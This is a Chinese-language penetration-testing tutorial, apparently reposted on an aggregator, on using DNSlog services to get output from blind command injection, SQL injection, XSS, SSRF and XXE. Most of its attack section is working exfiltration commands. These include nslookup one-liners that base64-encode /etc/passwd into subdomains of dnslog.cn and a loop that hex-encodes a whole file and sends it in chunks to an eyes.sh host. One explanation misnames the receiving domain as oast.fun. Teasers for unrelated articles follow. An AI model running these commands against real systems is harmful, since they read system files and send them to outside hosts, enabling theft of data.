【技巧】-DNSlog外带文件

news2025/1/11 3:02:16

❤️博客主页 iknow181
🔥系列专栏 网络安全、 Python、JavaSE、JavaWeb、CCNP
🎉欢迎大家点赞👍收藏⭐评论✍


在这里插入图片描述

1.什么是DNSlog

我们都知道DNS就是将域名解析为ip,用户在浏览器上输入一个域名A.com,就要靠DNS服务器将A.com解析到它的真实ip127.0.0.1,这样就可以访问127.0.0.1服务器上的相应服务。
那么DNSlog是什么。DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。

2.为什么要用 DNSlog

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起 DNS 请求,这个时候就可以通过这种方式把想获得的数据外带出来。

3.DNSlog回显原理

前面说DNSlog就是日志,那怎么用DNSlog进行注入并回显信息呢。通俗的说就是我有个已注册的域名a.com,我在域名代理商那里将域名设置对应的ip 1.1.1.1 上,这样当我向dns服务器发起a.com的解析请求时,DNSlog中会记录下他给a.com解析,解析值为1.1.1.1,而我们这个解析的记录的值就是我们要利用的地方。

看个直观一点的例子来理解:
ping命令的时候会用到DNS解析所以我就用ping命令做个实验。


DNSlog.cn中也记录了下来

可以看到解析的日志会把%USERNAME%的值给带出来,因为系统在ping命令之前会将%USERNAME%的值解析出来,然后再和a.com拼接起来,最后ping命令执行将XF.a.com一起发给DNS服务器请求解析域名对应的ip地址,这个过程被记录下来就是DNSlog,看到这里应该有点感觉了。原理上只要能进行DNS请求的函数都可能存在DNSlog注入。

4.DNSLog 平台

DNSLog Platform

http://www.dnslog.cn/

互联网

DNSLog.cn 无需注册即可使用的DNSLog平台

CEYE.io

http://ceye.io/

互联网

CEYE.io - DNSLog 平台

Interact.sh | Web Client

https://app.interactsh.com/#/

互联网

Interact.sh | Web Client

eyes.sh

http://eyes.sh/

互联网

DNSLog/HTTPLog tool for pentesters

T00LS DNSLog

https://www.t00ls.com/dnslog.html

互联网

T00LS DNSLog(需登录)

DNSLog.pw

http://dnslog.pw/

互联网

dnslog.pw

Dig.pm

https://dig.pm/

互联网

Dig.pm

dnslog.ink

http://dnslog.ink/

互联网

dnslog.ink

5.DNSlog通常用在哪些地方

大家在渗透测试的时候可能会遇到一下这些情况:

  • 挖到一个有SQL盲注的站点,可是用sqlmap跑需要频繁请求,最后导致ip被ban
  • 发现疑似命令注入的洞,但是目标站点什么也不显示,无法确认是不是有洞

总之就是目标不让信息显示出来,如果能发送请求,那么就可以尝试咱这个办法——用DNSlog来获取回显

(1)SQL注入中的盲注

(2)XSS盲打

(3)无回显的命令执行

(4)无回显的SSRF

(5)无回显的XXE(Blind XXE)

5.1 无回显的命令执行

5.1.1 介绍

我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功

5.1.2 利用

发现疑似命令执行的洞,但是目标站点什么也不显示,无法确认是不是有洞

5.1.2.1 Windows

如果是win系统,简单的ping %os%.xxxx.cete.io即可

DNSlog这边得到了os的信息,那么就说明这里存在命令注入

下面是windows的常用变量:

//变量                     类型       描述
//%ALLUSERSPROFILE%        本地       返回“所有用户”配置文件的位置。
//%APPDATA%                本地       返回默认情况下应用程序存储数据的位置。
//%CD%                     本地       返回当前目录字符串。
//%CMDCMDLINE%             本地       返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION%          系统       返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME%           系统       返回计算机的名称。
//%COMSPEC%                系统       返回命令行解释器可执行程序的准确路径。
//%DATE%                   系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL%             系统       返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE%              系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH%               系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE%              系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER%            本地       返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS%   系统       指定安装在计算机上的处理器的数目。
//%OS%                     系统       返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH%                   系统       指定可执行文件的搜索路径。
//%PATHEXT%                系统       返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE% 系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER%    系统       返回处理器说明。
//%PROCESSOR_LEVEL%        系统       返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION%     系统       返回处理器的版本号。
//%P ROMPT%                 本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM%                 系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE%            系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT%             系统       返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP%            系统和用户  返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME%                   系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
//%USERDOMAIN%             本地       返回包含用户帐户的域的名称。
//%USERNAME%               本地       返回当前登录的用户的名称。
//%USERPROFILE%            本地       返回当前用户的配置文件的位置。
//%WINDIR%                 系统       返回操作系统目录的位置。
5.1.2.2 Linux

如果目标系统是linux的话,则可用shell语言

5.1.2.3 如何将一个文件的内容外带出来

可以通过 nslookup 命令将 /etc/passwd 文件中的部分内容通过 DNS 查询外带到一个外部域名上。这种方法是通过 DNS 查询来传输数据,非常适用于隐蔽的数据外带。

解析命令

nslookup $(cat /etc/passwd | base64 | head -c 63).g23a5v.dnslog.cn

命令组成部分:

  1. cat /etc/passwd
    • 读取 /etc/passwd 文件的内容。这个文件包含系统中所有用户的信息。
  1. base64
    • 将文件内容编码为 Base64。这是因为 DNS 查询的主机名通常只能包含字母、数字、连字符等字符,Base64 编码可以确保数据在这些限制内。
  1. head -c 63
    • 截取 Base64 编码后的前 63 个字符。因为 DNS 查询的子域名长度有限,通常为 63 字符以内。
  1. nslookup ... .g23a5v.dnslog.cn
    • 使用 nslookup 发送一个 DNS 查询请求,将数据附加在子域名上。这个请求会被发送到 oast.fun 域名的 DNS 服务器,通常该域名由攻击者控制,可以记录这些请求。

过程

要将 /etc/passwd 文件的全部内容通过 DNS 查询逐步外带出去,可以分批次发送这些数据。这通常是通过分块读取文件内容,然后使用多个 nslookup 命令来完成。

分块读取并发送数据

可以使用 tailhead 命令来读取并发送所有的字符。下面是一个例子:

1. 发送第1块(前63个字符):
nslookup $(cat /etc/passwd | base64 | head -c 63).g23a5v.dnslog.cn

2. 发送第2块(64-126个字符):
nslookup $(cat /etc/passwd | base64 | tail -c +64 | head -c 63).g23a5v.dnslog.cn
3. 发送第3块(127-189个字符):
nslookup $(cat /etc/passwd | base64 | tail -c +127 | head -c 63).g23a5v.dnslog.cn

解释命令

  • tail -c +64:从第64个字符开始读取。
  • head -c 63:截取接下来的63个字符。

通过逐步增加 tail -c +N 中的 N 值,你可以依次读取并发送文件的后续块内容。

自动化整个过程

为了自动化整个过程,可以使用循环将文件内容分批次发送出去:

这里的 DNSlog 平台最好使用可以查看历史记录的,因为如果文件内容大多话,数据会很多,我用的http://eyes.sh/,可以随机登录,挺方便的。

这里就不用/etc/passwd 演示了,自己创建了一个文件,假设为重要文件,将它外带出来

这里使用了 hex 编码,因为 base64 后有大写字母,而 dnslog 外带出去是会全变成小写,造成失真。

od -An -tx1 /root/test.txt | tr -d ' \n' | fold -w 63 | while read -r chunk; do
  nslookup "$chunk.prindqd5.eyes.sh"
done

拼接 然后 hex 解码,

注意事项

  • 带宽限制:DNS请求长度有限,分块时每块最多63个字符。
  • 请求数量:如果文件较大,需要发送大量请求。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2065179.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

实现Nginx四层负载均衡

Nginx在1.9.0版本开始支持tcp模式的负载均衡,在1.9.13版本开始支持udp协议的负载,udp主要用于 DNS的域名解析,其配置方式和指令和http 代理类似,其基于ngx_stream_proxy_module模块实现tcp 负载,另外基于模块ngx_strea…

vue2版本空目录下创建新项目的方法2024

vue2版本空目录下创建新项目的方法2024 node -v npm -v vue -V 安装vue-cli 2.9版本的命令 npm install vue-cli -g 卸载vue2.x方法: npm uninstall vue-cli -g 设置 NPM 镜像 npm config set registry https://registry.npmmirror.com vue -V 报错时需设置环…

多进程和多线程基础概念LINUX

进程和程序的区别 程序是静态的,它是保存在磁盘上的指令的有序集合,没有任何执行的概念进程是一个动态的概念,它是程序执行的过程,包括了动态创建、调度和销毁的整个过程 并行:在 cpu 多核的支持下,实现物…

Git 的基本使用

1.创建 Git 本地仓库 仓库是进⾏版本控制的⼀个⽂件⽬录。我们要想对⽂件进⾏版本控制,就必须先创建⼀个仓库出来,例如下面代码创建了gitcode_linux的文件夹,之后再对其进行初始化。创建⼀个 Git 本地仓库对应的命令为 git init &#xff0c…

视频项目开发,EasyCVR视频融合平台为何成为关键驱动力

智慧类视频项目是基于多个系统融合,旨在实现更广泛联动功能,以满足智能化应用需求为基石的信息化项目。当前,智慧社区、智慧园区、智慧工厂乃至智慧城市等应用场景的需求日益增长。这些智慧项目的整合进程中,视频融合能力扮演着不…

ASP.NET Core 入门教程一 创建最小 API

构建最小 API,以创建具有最小依赖项的 HTTP API。 它们非常适合需要在 ASP.NET Core 中仅包括最少文件、功能和依赖项的微服务和应用。 本教程介绍使用 ASP.NET Core 生成最小 API 的基础知识。 启动 Visual Studio 2022 并选择“创建新项目”。 在“创建新项目”…

RabbitMQ 最新版 安装,配置,java接入使用(详细教程)

一 RabbitMQ下载 RabbitMQ 官网最新版下载: RabbitMQ: One broker to queue them all | RabbitMQ RabbitMQ依赖erlang-26.2.5.2-1.el7.x86_64.rpm下载: https://github.com/rabbitmq/erlang-rpm/releases/download/v26.2.5.2/erlang-26.2.5.2-1.el7.…

Information Processing Technician

信息处理技术员试题 🔥SeptemberZone 1.信息是一种() A.资源 B.物质 C.能量 D.载体 2.以下关于信息的表达中,不正确的选项是() A.一切数据都能产生信息 B.信息的产生、处理和传递依靠于物质和能量 C.同一信息在不同的时间可能具有不同的价值 D.信息的屡次使用不会使信息…

MD编辑器学习笔记

MD编辑器学习笔记 目录标题文本样式列表图片链接代码片数学公式表格部分总结 目录 目录是使用“[TOC](目录)”,记住别忘了加上()标题 使用#来确定标题,几个#就是几级标题。记住#后面要加上空格文本样式 tips: 在写正…

什么是制造业项目管理软件?适合制造企业的项目管理软件具备哪些特征

当前,我国的制造业呈现出稳步增长与风险并存的现象。经济构建以国内大循环为主体,国产替代的浪潮正在席卷国内制造业,越来越多的制造领域企业开始启动数字化变革来支撑企业的迅猛发展,进一步优化项目管理流程,促进研发…

Docker的概述及如何启动docker的镜像、远程管理宿主机的docker进程

一、概述: 1、Docker 是什么? Docker 是⼀个开源的应⽤容器引擎,可以实现虚拟化,完全采用“沙盒”机制,容器之间不会存在任何接口。 2、Docker 和虚拟机的区别: 1)启动速度:Dock…

使用 Visual Studio 编辑器作为 DailyNotes 的 markdown 编辑器

DailyNotes 是我使用过的最优秀的日常笔记管理工具,为它配置一个好的 markdown 编辑器,可以大幅提升效率。 除了使用 Typora 作为 markdown 编辑器,Visual Studio Code 也是一个非常不错的选择,令人惊喜的是,它也支持…

React学习笔记(二)——react基础

目录 1. 受控表单绑定 2. React中获取DOM 3. 案例:B站评论 — 发表评论 3.1 B站评论案例 —— 核心功能实现 3.2 B站评论案例 — id处理和时间处理 3.3 B站评论案例 — 清空内容并重新聚焦 4. 组件通信 4.1 理解组件通信 4.2 父传子-基础实现 4.3 父传子-…

基于Spark计算网络图中节点之间的Jaccard相似性

基于Spark计算网络图中节点之间的Jaccard相似性 Jaccard 相似度是一种较为常用的衡量两个集合相似性的指标,用于计算两个集合的交集与并集的比率。具体来说,它的计算公式为: 在网络图中同样经常使用Jaccard来计算节点之间的相似性&#xff…

【标准知识】航天产品设计文件编号

按照QJ 1714-2011《航天产品设计文件管理制度》,梳理一下设计文件的编号要求。 01 设计文件 按照QJ 1714的规定,设计文件是由设计部门编制的,用以规定产品的组成、型式、结构尺寸、技术要求、原理以及制造、调试、试验、验收、使用、维护、…

Robot Operating System——自定义订阅/发布的消息结构

大纲 初始化环境生成自定义消息的工程创建包自定义消息package.xml完整文件 CMakeLists.txt完整文件 编译注册 使用自定义消息的工程创建包代码CMakeLists.txt编译运行 工程地址参考资料 在之前的案例中我们订阅/发布之间传递的消息都是ROS2的标准类型。本文我们将讨论如何自定…

【IoTDB 线上小课 06】列式写入=时序数据写入性能“利器”?

【IoTDB 视频小课】更新来啦!今天已经是第六期了~ 关于 IoTDB,关于物联网,关于时序数据库,关于开源... 一个问题重点,3-5 分钟,我们讲给你听: 列式写入到底是? 上一期我们详细了解了…

【STM32】写Keil程序的注意事项

看正点原子的资料使用Keil写STM32程序的时候,总是在不断学习,不断探索。后续又学到啥再更新 目录 1 Keil设置 1.1 字体设置 1.2 快捷键设置 1.3 快速前往前一操作位置/后一操作位置 2 宏定义 2.1 宏定义函数时为什么使用do{…}w…

DockerHub解决镜像拉取之困

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:Linux运维老纪的首页…

【数据结构篇】~栈和队列(附源码)

【数据结构篇】~栈和队列 前言一、栈的实现1.头文件2.源文件3.一个算法题——[有效的括号](https://leetcode.cn/problems/valid-parentheses/description/%E2%80%8B) 二、队列1.头文件2.源文件 前言 栈:一种特殊的线性表,其只允许在固定的一端进行插入…